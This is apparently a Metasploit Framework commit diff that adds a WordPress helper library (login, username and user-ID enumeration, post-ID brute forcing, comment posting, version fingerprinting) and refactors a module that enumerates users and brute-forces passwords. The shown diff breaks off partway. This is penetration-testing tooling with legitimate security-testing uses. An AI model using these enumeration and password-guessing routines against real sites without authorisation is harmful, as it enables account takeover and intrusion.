Land #2267, @Firefart's wordpress mixin
commit
3cc09bc3ab
|
@ -57,6 +57,8 @@ require 'msf/core/nop'
|
|||
require 'msf/core/payload'
|
||||
require 'msf/core/post'
|
||||
|
||||
# Custom HTTP Modules
|
||||
require 'msf/http/wordpress'
|
||||
|
||||
# Drivers
|
||||
require 'msf/core/exploit_driver'
|
||||
|
|
|
@ -330,6 +330,19 @@ module Exploit::Remote::HttpClient
|
|||
new_str
|
||||
end
|
||||
|
||||
# Returns the Path+Query from a full URI String, nil on error
|
||||
def path_from_uri(uri)
|
||||
begin
|
||||
temp = URI(uri)
|
||||
ret_uri = temp.path
|
||||
ret_uri << "?#{temp.query}" unless temp.query.nil? or temp.query.empty?
|
||||
return ret_uri
|
||||
rescue URI::Error
|
||||
print_error "Invalid URI: #{uri}"
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the target host
|
||||
#
|
||||
|
@ -344,6 +357,13 @@ module Exploit::Remote::HttpClient
|
|||
datastore['RPORT']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the Host and Port as a string
|
||||
#
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the VHOST of the HTTP server.
|
||||
#
|
||||
|
|
|
@ -5,7 +5,7 @@ module Msf
|
|||
###
|
||||
#
|
||||
# This module exposes methods that may be useful to exploits that deal with
|
||||
# servers that speak the telnet protocol.
|
||||
# webservers.
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::Web
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# This module provides a way of interacting with wordpress installations
|
||||
module Msf
|
||||
module HTTP
|
||||
module Wordpress
|
||||
require 'msf/http/wordpress/base'
|
||||
require 'msf/http/wordpress/helpers'
|
||||
require 'msf/http/wordpress/login'
|
||||
require 'msf/http/wordpress/posts'
|
||||
require 'msf/http/wordpress/uris'
|
||||
require 'msf/http/wordpress/users'
|
||||
require 'msf/http/wordpress/version'
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::HTTP::Wordpress::Base
|
||||
include Msf::HTTP::Wordpress::Helpers
|
||||
include Msf::HTTP::Wordpress::Login
|
||||
include Msf::HTTP::Wordpress::Posts
|
||||
include Msf::HTTP::Wordpress::URIs
|
||||
include Msf::HTTP::Wordpress::Users
|
||||
include Msf::HTTP::Wordpress::Version
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,28 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::Wordpress::Base
|
||||
|
||||
# Checks if the site is online and running wordpress
|
||||
#
|
||||
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
|
||||
def wordpress_and_online?
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
return res if res and
|
||||
res.code == 200 and
|
||||
(
|
||||
res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
|
||||
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or
|
||||
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i
|
||||
)
|
||||
return nil
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Error connecting to #{target_uri}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,122 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Helpers
|
||||
|
||||
# Helper methods are private and should not be called by modules
|
||||
private
|
||||
|
||||
# Returns the POST data for a Wordpress login request
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @param redirect URL [String] to redirect after successful login
|
||||
# @return [Hash] The post data for vars_post Parameter
|
||||
def wordpress_helper_login_post_data(user, pass, redirect=nil)
|
||||
post_data = {
|
||||
'log' => user.to_s,
|
||||
'pwd' => pass.to_s,
|
||||
'redirect_to' => redirect.to_s,
|
||||
'wp-submit' => 'Login'
|
||||
}
|
||||
post_data
|
||||
end
|
||||
|
||||
# Helper method to post a comment to Wordpress
|
||||
#
|
||||
# @param comment [String] The comment
|
||||
# @param comment_post_id [Integer] The Post ID to post the comment to
|
||||
# @param login_cookie [String] The valid login_cookie
|
||||
# @param author [String] The author name
|
||||
# @param email [String] The author email
|
||||
# @param url [String] The author url
|
||||
# @return [String,nil] The location of the new comment/post, nil on error
|
||||
def wordpress_helper_post_comment(comment, comment_post_id, login_cookie, author, email, url)
|
||||
vars_post = {
|
||||
'comment' => comment,
|
||||
'submit' => 'Post+Comment',
|
||||
'comment_post_ID' => comment_post_id.to_s,
|
||||
'comment_parent' => '0'
|
||||
}
|
||||
vars_post.merge!({
|
||||
'author' => author,
|
||||
'email' => email,
|
||||
'url' => url,
|
||||
}) unless login_cookie
|
||||
|
||||
options = {
|
||||
'uri' => normalize_uri(target_uri.path, 'wp-comments-post.php'),
|
||||
'method' => 'POST'
|
||||
}
|
||||
options.merge!({'vars_post' => vars_post})
|
||||
options.merge!({'cookie' => login_cookie}) if login_cookie
|
||||
res = send_request_cgi(options)
|
||||
if res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
return wordpress_helper_parse_location_header(res)
|
||||
else
|
||||
message = "#{peer} - Post comment failed."
|
||||
message << " Status Code: #{res.code}" if res
|
||||
print_error(message)
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Helper method for bruteforcing a valid post id
|
||||
#
|
||||
# @param range [Range] The Range of post_ids to bruteforce
|
||||
# @param comments_enabled [Boolean] If true try to find a post id with comments enabled, otherwise return the first found
|
||||
# @param login_cookie [String] A valid login cookie to perform the bruteforce as an authenticated user
|
||||
# @return [Integer,nil] The post id, nil when nothing found
|
||||
def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled=false, login_cookie=nil)
|
||||
range.each { |id|
|
||||
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
|
||||
body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie)
|
||||
return id if body
|
||||
}
|
||||
# no post found
|
||||
return nil
|
||||
end
|
||||
|
||||
# Helper method to check if a post is valid an has comments enabled
|
||||
#
|
||||
# @param uri [String] the Post URI Path
|
||||
# @param comments_enabled [Boolean] Check if comments are enabled on this post
|
||||
# @param login_cookie [String] A valid login cookie to perform the check as an authenticated user
|
||||
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
||||
def wordpress_helper_check_post_id(uri, comments_enabled=false, login_cookie=nil)
|
||||
options = {
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
}
|
||||
options.merge!({'cookie' => login_cookie}) if login_cookie
|
||||
res = send_request_cgi(options)
|
||||
# post exists
|
||||
if res and res.code == 200
|
||||
# also check if comments are enabled
|
||||
if comments_enabled
|
||||
if res.body =~ /form.*action.*wp-comments-post\.php/
|
||||
return res.body
|
||||
else
|
||||
return nil
|
||||
end
|
||||
# valid post found, not checking for comments
|
||||
else
|
||||
return res.body
|
||||
end
|
||||
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
path = wordpress_helper_parse_location_header(res)
|
||||
return wordpress_helper_check_post_id(path, comments_enabled, login_cookie)
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
# Helper method parse a Location header and returns only the path and query. Returns nil on error
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response] The HTTP response
|
||||
# @return [String,nil] the path and query, nil on error
|
||||
def wordpress_helper_parse_location_header(res)
|
||||
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
|
||||
location = res.headers['Location']
|
||||
path_from_uri(location)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,37 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Login
|
||||
|
||||
# performs a wordpress login
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
|
||||
def wordpress_login(user, pass)
|
||||
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_login,
|
||||
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
|
||||
})
|
||||
|
||||
if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
|
||||
match = res.get_cookies.match(/(wordpress(?:_sec)?_logged_in_[^=]+=[^;]+);/i)
|
||||
# return wordpress login cookie
|
||||
return match[0] if match
|
||||
|
||||
# support for older wordpress versions
|
||||
# Wordpress 2.0
|
||||
match_user = res.get_cookies.match(/(wordpressuser_[^=]+=[^;]+);/i)
|
||||
match_pass = res.get_cookies.match(/(wordpresspass_[^=]+=[^;]+);/i)
|
||||
# return wordpress login cookie
|
||||
return "#{match_user[0]} #{match_pass[0]}" if (match_user and match_pass)
|
||||
|
||||
# Wordpress 2.5
|
||||
match_2_5 = res.get_cookies.match(/(wordpress_[a-z0-9]+=[^;]+);/i)
|
||||
# return wordpress login cookie
|
||||
return match_2_5[0] if match_2_5
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,157 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Posts
|
||||
|
||||
# Posts a comment as an authenticated user
|
||||
#
|
||||
# @param comment [String] The comment
|
||||
# @param comment_post_id [Integer] The Post ID to post the comment to
|
||||
# @param login_cookie [String] The valid login_cookie
|
||||
# @return [String,nil] The location of the new comment/post, nil on error
|
||||
def wordpress_post_comment_auth(comment, comment_post_id, login_cookie)
|
||||
wordpress_helper_post_comment(comment, comment_post_id, login_cookie, nil, nil, nil)
|
||||
end
|
||||
|
||||
# Posts a comment as an unauthenticated user
|
||||
#
|
||||
# @param comment [String] The comment
|
||||
# @param comment_post_id [Integer] The Post ID to post the comment to
|
||||
# @param author [String] The author name
|
||||
# @param email [String] The author email
|
||||
# @param url [String] The author url
|
||||
# @return [String,nil] The location of the new comment/post, nil on error
|
||||
def wordpress_post_comment_no_auth(comment, comment_post_id, author, email, url)
|
||||
wordpress_helper_post_comment(comment, comment_post_id, nil, author, email, url)
|
||||
end
|
||||
|
||||
# Wordpress shows moderated comments to the unauthenticated Posting user
|
||||
# Users are identified by their cookie
|
||||
#
|
||||
# @param author [String] The author name used to post the anonymous comment
|
||||
# @param email [String] The author email used to post the anonymous comment
|
||||
# @param url [String] The author url used to post the anonymous comment
|
||||
# @return [String] The cookie string that can be used to see moderated comments
|
||||
def wordpress_get_unauth_comment_cookies(author, email, url)
|
||||
scheme = ssl ? 'https' : 'http'
|
||||
port = (rport == 80 or rport == 443) ? '' : rport
|
||||
# siteurl does not contain last slash
|
||||
path = target_uri.to_s.sub(/\/$/, '')
|
||||
siteurl = "#{scheme}://#{rhost}#{port}#{path}"
|
||||
site_hash = Rex::Text.md5(siteurl)
|
||||
cookie = "comment_author_#{site_hash}=#{author}; "
|
||||
cookie << "comment_author_email_#{site_hash}=#{email}; "
|
||||
cookie << "comment_author_url_#{site_hash}=#{url};"
|
||||
cookie
|
||||
end
|
||||
|
||||
# Tries to bruteforce a valid post_id
|
||||
#
|
||||
# @param min_post_id [Integer] The first post_id to bruteforce
|
||||
# @param max_post_id [Integer] The last post_id to bruteforce
|
||||
# @param login_cookie [String] If set perform the bruteforce as an authenticated user
|
||||
# @return [Integer,nil] The post id, nil when nothing found
|
||||
def wordpress_bruteforce_valid_post_id(min_post_id, max_post_id, login_cookie=nil)
|
||||
return nil if min_post_id > max_post_id
|
||||
range = Range.new(min_post_id, max_post_id)
|
||||
wordpress_helper_bruteforce_valid_post_id(range, false, login_cookie)
|
||||
end
|
||||
|
||||
# Tries to bruteforce a valid post_id with comments enabled
|
||||
#
|
||||
# @param min_post_id [Integer] The first post_id to bruteforce
|
||||
# @param max_post_id [Integer] The last post_id to bruteforce
|
||||
# @param login_cookie [String] If set perform the bruteforce as an authenticated user
|
||||
# @return [Integer,nil] The post id, nil when nothing found
|
||||
def wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, login_cookie=nil)
|
||||
return nil if min_post_id > max_post_id
|
||||
range = Range.new(min_post_id, max_post_id)
|
||||
wordpress_helper_bruteforce_valid_post_id(range, true, login_cookie)
|
||||
end
|
||||
|
||||
# Checks if the provided post has comments enabled
|
||||
#
|
||||
# @param post_id [Integer] The post ID to check
|
||||
# @param login_cookie [String] If set perform the check as an authenticated user
|
||||
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
||||
def wordpress_post_id_comments_enabled?(post_id, login_cookie=nil)
|
||||
wordpress_helper_check_post_id(wordpress_url_post(post_id), true, login_cookie)
|
||||
end
|
||||
|
||||
# Checks if the provided post has comments enabled
|
||||
#
|
||||
# @param url [String] The post url
|
||||
# @param login_cookie [String] If set perform the check as an authenticated user
|
||||
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
||||
def wordpress_post_comments_enabled?(url, login_cookie=nil)
|
||||
wordpress_helper_check_post_id(url, true, login_cookie)
|
||||
end
|
||||
|
||||
# Gets the post_id from a post body
|
||||
#
|
||||
# @param body [String] The body of a post
|
||||
# @return [String,nil] The post_id, nil when nothing found
|
||||
def get_post_id_from_body(body)
|
||||
return nil unless body
|
||||
body.match(/<body class="[^=]*postid-(\d+)[^=]*">/i)[1]
|
||||
end
|
||||
|
||||
# Tries to get some Blog Posts via the RSS feed
|
||||
#
|
||||
# @param max_redirects [Integer] maximum redirects to follow
|
||||
# @return [Array<String>,nil] String Array with valid blog posts, nil on error
|
||||
def wordpress_get_all_blog_posts_via_feed(max_redirects = 10)
|
||||
vprint_status("#{peer} - Enumerating Blog posts...")
|
||||
blog_posts = []
|
||||
|
||||
begin
|
||||
vprint_status("#{peer} - Locating wordpress feed...")
|
||||
res = send_request_cgi({
|
||||
'uri' => wordpress_url_rss,
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
count = max_redirects
|
||||
|
||||
# Follow redirects
|
||||
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
|
||||
path = wordpress_helper_parse_location_header(res)
|
||||
return nil unless path
|
||||
|
||||
vprint_status("#{peer} - Web server returned a #{res.code}...following to #{path}")
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res.code == 200
|
||||
vprint_status("#{peer} - Feed located at #{path}")
|
||||
else
|
||||
vprint_status("#{peer} - Returned a #{res.code}...")
|
||||
end
|
||||
count = count - 1
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Unable to connect")
|
||||
return nil
|
||||
end
|
||||
|
||||
if res.nil? or res.code != 200
|
||||
vprint_status("#{peer} - Did not recieve HTTP response for RSS feed")
|
||||
return blog_posts
|
||||
end
|
||||
|
||||
# parse out links and place in array
|
||||
links = res.body.scan(/<link>([^<]+)<\/link>/i)
|
||||
|
||||
if links.nil? or links.empty?
|
||||
vprint_status("#{peer} - Feed did not have any links present")
|
||||
return blog_posts
|
||||
end
|
||||
|
||||
links.each do |link|
|
||||
path = path_from_uri(link[0])
|
||||
blog_posts << path if path
|
||||
end
|
||||
return blog_posts
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,69 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::URIs
|
||||
|
||||
# Returns the Wordpress Login URL
|
||||
#
|
||||
# @return [String] Wordpress Login URL
|
||||
def wordpress_url_login
|
||||
normalize_uri(target_uri.path, 'wp-login.php')
|
||||
end
|
||||
|
||||
# Returns the Wordpress Post URL
|
||||
#
|
||||
# @param post_id [Integer] Post ID
|
||||
# @return [String] Wordpress Post URL
|
||||
def wordpress_url_post(post_id)
|
||||
normalize_uri(target_uri.path, "?p=#{post_id}")
|
||||
end
|
||||
|
||||
# Returns the Wordpress Author URL
|
||||
#
|
||||
# @param author_id [Integer] Author ID
|
||||
# @return [String] Wordpress Author URL
|
||||
def wordpress_url_author(author_id)
|
||||
normalize_uri(target_uri.path, "?author=#{author_id}")
|
||||
end
|
||||
|
||||
# Returns the Wordpress RSS feed URL
|
||||
#
|
||||
# @return [String] Wordpress RSS URL
|
||||
def wordpress_url_rss
|
||||
normalize_uri(target_uri.path, '?feed=rss2')
|
||||
end
|
||||
|
||||
# Returns the Wordpress RDF feed URL
|
||||
#
|
||||
# @return [String] Wordpress RDF URL
|
||||
def wordpress_url_rdf
|
||||
normalize_uri(target_uri.path, 'feed/rdf/')
|
||||
end
|
||||
|
||||
# Returns the Wordpress ATOM feed URL
|
||||
#
|
||||
# @return [String] Wordpress ATOM URL
|
||||
def wordpress_url_atom
|
||||
normalize_uri(target_uri.path, 'feed/atom/')
|
||||
end
|
||||
|
||||
# Returns the Wordpress Readme file URL
|
||||
#
|
||||
# @return [String] Wordpress Readme file URL
|
||||
def wordpress_url_readme
|
||||
normalize_uri(target_uri.path, 'readme.html')
|
||||
end
|
||||
|
||||
# Returns the Wordpress Sitemap URL
|
||||
#
|
||||
# @return [String] Wordpress Sitemap URL
|
||||
def wordpress_url_sitemap
|
||||
normalize_uri(target_uri.path, 'sitemap.xml')
|
||||
end
|
||||
|
||||
# Returns the Wordpress OPML URL
|
||||
#
|
||||
# @return [String] Wordpress OPML URL
|
||||
def wordpress_url_opml
|
||||
normalize_uri(target_uri.path, 'wp-links-opml.php')
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,65 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Users
|
||||
|
||||
# Checks if the given user exists
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @return [Boolean] true if the user exists
|
||||
def wordpress_user_exists?(user)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_login,
|
||||
'vars_post' => wordpress_helper_login_post_data(user, Rex::Text.rand_text_alpha(6))
|
||||
})
|
||||
|
||||
return true if res and res.code == 200 and
|
||||
(res.body.to_s =~ /Incorrect password/ or
|
||||
res.body.to_s =~ /document\.getElementById\('user_pass'\)/)
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
# Checks if the given userid exists
|
||||
#
|
||||
# @param user_id [Integer] user_id
|
||||
# @return [String,nil] the Username if it exists, nil otherwise
|
||||
def wordpress_userid_exists?(user_id)
|
||||
# Wordpress returns all posts from all users on user_id 0
|
||||
return nil if user_id < 1
|
||||
|
||||
url = wordpress_url_author(user_id)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
})
|
||||
|
||||
if res and res.code == 301
|
||||
uri = wordpress_helper_parse_location_header(res)
|
||||
return nil unless uri
|
||||
# try to extract username from location
|
||||
if uri.to_s =~ /\/author\/([^\/\b]+)\/?/i
|
||||
return $1
|
||||
end
|
||||
uri = "#{uri.path}?#{uri.query}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
})
|
||||
end
|
||||
|
||||
if res.nil?
|
||||
print_error("#{peer} - Error getting response.")
|
||||
return nil
|
||||
elsif res.code == 200 and
|
||||
(
|
||||
res.body =~ /href="http[s]*:\/\/.*\/\?*author.+title="([[:print:]]+)" /i or
|
||||
res.body =~ /<body class="archive author author-(?:[^\s]+) author-(?:\d+)/i or
|
||||
res.body =~ /Posts by (\w+) Feed/i or
|
||||
res.body =~ /<span class='vcard'><a class='url fn n' href='[^"']+' title='[^"']+' rel='me'>([^<]+)<\/a><\/span>/i or
|
||||
res.body =~ /<title>.*(\b\w+\b)<\/title>/i
|
||||
)
|
||||
return $1
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,64 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::Wordpress::Version
|
||||
|
||||
# Extracts the Wordpress version information from various sources
|
||||
#
|
||||
# @return [String,nil] Wordpress version if found, nil otherwise
|
||||
def wordpress_version
|
||||
# detect version from generator
|
||||
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{wordpress_version_pattern}" \/>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from readme
|
||||
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{wordpress_version_pattern}/i)
|
||||
return version if version
|
||||
|
||||
# detect version from rss
|
||||
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}<\/generator>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from rdf
|
||||
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}" \/>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from atom
|
||||
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{wordpress_version_pattern}">WordPress<\/generator>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from sitemap
|
||||
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{wordpress_version_pattern}"/i)
|
||||
return version if version
|
||||
|
||||
# detect version from opml
|
||||
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{wordpress_version_pattern}"/i)
|
||||
return version if version
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Used to check if the version is correct: must contain at least one dot.
|
||||
#
|
||||
# @return [ String ]
|
||||
def wordpress_version_pattern
|
||||
'([^\r\n"\']+\.[^\r\n"\']+)'
|
||||
end
|
||||
|
||||
def wordpress_version_helper(url, regex)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
})
|
||||
if res
|
||||
match = res.body.match(regex)
|
||||
if match
|
||||
return match[1]
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
|
@ -66,7 +66,7 @@ class Response < Packet
|
|||
cookies = ""
|
||||
if (self.headers.include?('Set-Cookie'))
|
||||
set_cookies = self.headers['Set-Cookie']
|
||||
key_vals = set_cookies.scan(/\s?([^, ;]+?)=(.*?);/)
|
||||
key_vals = set_cookies.scan(/\s?([^, ;]+?)=([^, ;]+?);/)
|
||||
key_vals.each do |k, v|
|
||||
# Dont downcase actual cookie name as may be case sensitive
|
||||
name = k.downcase
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
##
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
|
@ -21,7 +21,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[
|
||||
'Alligator Security Team',
|
||||
'Tiago Ferreira <tiago.ccna[at]gmail.com>',
|
||||
'Zach Grace <zgrace[at]404labs.com>'
|
||||
'Zach Grace <zgrace[at]404labs.com>',
|
||||
'Christian Mehlmauer <FireFart[at]gmail.com'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
@ -34,45 +35,48 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI', [false, 'Define the path to the wp-login.php file', '/wp-login.php']),
|
||||
OptBool.new('VALIDATE_USERS', [ true, "Validate usernames", true ]),
|
||||
OptBool.new('BRUTEFORCE', [ true, "Perform brute force authentication", true ]),
|
||||
OptBool.new('ENUMERATE_USERNAMES', [ true, "Enumerate usernames", true ]),
|
||||
OptString.new('RANGE_START', [false, 'First user id to enumerate', '1']),
|
||||
OptString.new('RANGE_END', [false, 'Last user id to enumerate', '10'])
|
||||
OptBool.new('VALIDATE_USERS', [ true, 'Validate usernames', true ]),
|
||||
OptBool.new('BRUTEFORCE', [ true, 'Perform brute force authentication', true ]),
|
||||
OptBool.new('ENUMERATE_USERNAMES', [ true, 'Enumerate usernames', true ]),
|
||||
OptInt.new('RANGE_START', [false, 'First user id to enumerate', 1]),
|
||||
OptInt.new('RANGE_END', [false, 'Last user id to enumerate', 10])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def target_url
|
||||
uri = normalize_uri(datastore['URI'])
|
||||
"http://#{vhost}:#{rport}#{uri}"
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
unless wordpress_and_online?
|
||||
print_error("#{target_uri} does not seeem to be Wordpress site")
|
||||
return
|
||||
end
|
||||
|
||||
version = wordpress_version
|
||||
print_status("#{target_uri} - WordPress Version #{version} detected") if version
|
||||
|
||||
usernames = []
|
||||
if datastore['ENUMERATE_USERNAMES']
|
||||
vprint_status("#{target_uri} - WordPress User-Enumeration - Running User Enumeration")
|
||||
usernames = enum_usernames
|
||||
end
|
||||
|
||||
if datastore['VALIDATE_USERS']
|
||||
@users_found = {}
|
||||
vprint_status("#{target_url} - WordPress Enumeration - Running User Enumeration")
|
||||
vprint_status("#{target_uri} - WordPress User-Validation - Running User Validation")
|
||||
each_user_pass { |user, pass|
|
||||
do_enum(user)
|
||||
validate_user(user)
|
||||
}
|
||||
|
||||
unless (@users_found.empty?)
|
||||
print_good("#{target_url} - WordPress Enumeration - Found #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")
|
||||
unless @users_found.empty?
|
||||
print_good("#{target_uri} - WordPress User-Validation - Found #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")
|
||||
end
|
||||
end
|
||||
|
||||
if datastore['BRUTEFORCE']
|
||||
vprint_status("#{target_url} - WordPress Brute Force - Running Bruteforce")
|
||||
vprint_status("#{target_uri} - WordPress Brute Force - Running Bruteforce")
|
||||
if datastore['VALIDATE_USERS']
|
||||
if @users_found && @users_found.keys.size > 0
|
||||
vprint_status("#{target_url} - WordPress Brute Force - Skipping all but #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")
|
||||
vprint_status("#{target_uri} - WordPress Brute Force - Skipping all but #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -87,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# Brute force previously found users
|
||||
if not usernames.empty?
|
||||
print_status("#{target_url} - Brute-forcing previously found accounts...")
|
||||
print_status("#{target_uri} - Brute-forcing previously found accounts...")
|
||||
passwords = load_password_vars(datastore['PASS_FILE'])
|
||||
usernames.each do |user|
|
||||
passwords.each do |pass|
|
||||
|
@ -99,156 +103,67 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def do_enum(user=nil)
|
||||
post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=x&wp-submit=Login"
|
||||
print_status("#{target_url} - WordPress Enumeration - Checking Username:'#{user}'")
|
||||
def validate_user(user=nil)
|
||||
print_status("#{target_uri} - WordPress User-Validation - Checking Username:'#{user}'")
|
||||
|
||||
begin
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
'data' => post_data,
|
||||
}, 20)
|
||||
|
||||
if res.nil?
|
||||
print_error("#{target_url} - Connection timed out")
|
||||
return :abort
|
||||
end
|
||||
|
||||
|
||||
valid_user = false
|
||||
|
||||
if res.code == 200
|
||||
if (res.body.to_s =~ /Incorrect password/ )
|
||||
valid_user = true
|
||||
|
||||
elsif (res.body.to_s =~ /document\.getElementById\(\'user_pass\'\)/ )
|
||||
valid_user = true
|
||||
|
||||
else
|
||||
valid_user = false
|
||||
|
||||
end
|
||||
|
||||
else
|
||||
print_error("#{target_url} - WordPress Enumeration - Enumeration is not possible. #{res.code} response")
|
||||
return :abort
|
||||
|
||||
end
|
||||
|
||||
if valid_user
|
||||
print_good("#{target_url} - WordPress Enumeration- Username: '#{user}' - is VALID")
|
||||
report_auth_info(
|
||||
exists = wordpress_user_exists?(user)
|
||||
if exists
|
||||
print_good("#{target_uri} - WordPress User-Validation - Username: '#{user}' - is VALID")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => user,
|
||||
:port => rport,
|
||||
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
|
||||
)
|
||||
)
|
||||
|
||||
@users_found[user] = :reported
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("#{target_url} - WordPress Enumeration - Invalid Username: '#{user}'")
|
||||
return :skip_user
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
return :abort
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
return :abort
|
||||
@users_found[user] = :reported
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("#{target_uri} - WordPress User-Validation - Invalid Username: '#{user}'")
|
||||
return :skip_user
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def do_login(user=nil,pass=nil)
|
||||
